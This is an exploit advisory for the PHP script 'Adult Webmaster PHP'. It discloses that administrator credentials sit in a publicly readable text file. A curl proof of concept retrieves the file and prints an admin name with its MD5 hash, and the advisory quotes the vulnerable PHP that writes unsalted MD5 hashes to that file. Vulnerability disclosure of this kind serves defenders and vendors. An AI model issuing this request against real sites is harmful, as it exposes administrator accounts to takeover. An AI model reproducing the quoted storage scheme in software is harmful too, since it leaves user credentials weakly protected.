Adult Webmaster PHP Password Disclosure

`##########################################################################  
[+] Exploit:Adult Webmaster PHP - Password Disclosure #  
[+] Author: vinicius777 #  
[+] Email/Twitter: vinicius777 [AT] gmail @vinicius777_ #   
[+] Vendor Homepage: http://sourceforge.net/projects/adultweb/ #  
##########################################################################  
  
  
[1] Administrative Credential Disclosure  
  
PoC:  
  
root@kali:/# curl http://localhost/home/caspers/public_html/demo/admin/userpwdadfasdfre.txt  
  
admin:3a4ebf16a4795ad258e5408bae7be341  
  
#  
  
Vulnerable Code:  
[+] admin/common.php  
  
// Check user existance  
$pfile = fopen("userpwdadfasdfre.txt","a+");  
rewind($pfile);  
  
while (!feof($pfile)) {  
$line = fgets($pfile);  
$tmp = explode(':', $line);  
if ($tmp[0] == $user) {  
$errorText = "The selected user name is taken!";  
break;  
}  
}  
  
// If everything is OK -> store user data  
if ($errorText == ''){  
// Secure password string  
$userpass = md5($pass1);  
  
fwrite($pfile, "\r\n$user:$userpass");  
}  
  
fclose($pfile);  
  
  
#  
#  
# Greetz to g0tm1lk and TheColonial.  
  
  
`